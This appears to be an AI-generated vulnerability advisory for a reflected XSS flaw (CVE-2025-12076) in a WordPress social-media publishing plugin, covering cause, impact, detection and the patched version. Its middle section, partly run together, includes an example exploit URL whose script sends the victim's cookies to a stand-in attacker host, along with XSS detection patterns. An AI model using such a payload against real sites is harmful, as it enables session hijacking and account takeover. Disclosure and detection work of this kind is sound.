
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-12076 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Social Media Auto Publish plugin for WordPress, affecting all versions up to and including 3.6.5. The flaw exists in the PostMessage parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. It was published on December 13, 2025, and assigned a CVSS v3.1 base score of 6.1 (Medium) (Red Hat CVE, ENISA EUVD).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the plugin's failure to sanitize the PostMessage parameter before reflecting it in page output. An unauthenticated attacker can craft a malicious URL containing a JavaScript payload in the PostMessage parameter; when a victim clicks the link, the script executes in their browser within the context of the WordPress site. Exploitation requires user interaction (CAPEC-591: Reflected XSS) but no authentication or special privileges (Wordfence, ENISA EUVD).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim user. Both confidentiality and integrity are impacted at a low level (e.g., accessing cookies or modifying page content), while availability is unaffected. If the victim is an authenticated WordPress administrator, the impact could escalate to site takeover through script-injected admin actions (Red Hat CVE, Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12076 as of the available data. The EPSS score is approximately 0.055%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick a user into clicking a crafted link, which limits opportunistic mass exploitation (ENISA EUVD, Wordfence).
PostMessage parameter (e.g., https://target-site.com/wp-admin/options-general.php?page=social-media-auto-publish&PostMessage=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).PostMessage parameter is reflected in the HTML response, causing the injected script to execute in the victim's browser.PostMessage parameter values with HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) or URL-encoded equivalents; outbound requests from victim browsers to unknown external domains shortly after accessing plugin-related admin pages.PostMessage parameter values containing script tags or encoded payloads.The vendor (f1logic) released a patched version of the Social Media Auto Publish plugin; users should update to version 3.6.6 or later, which addresses the insufficient sanitization of the PostMessage parameter (Wordfence, WordPress Changeset). As a temporary workaround, site administrators can disable the plugin until the update is applied. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help block exploitation attempts against unpatched installations.
The vulnerability was discovered and reported by Wordfence, which published details in its threat intelligence database on December 13, 2025. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified for this medium-severity vulnerability (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."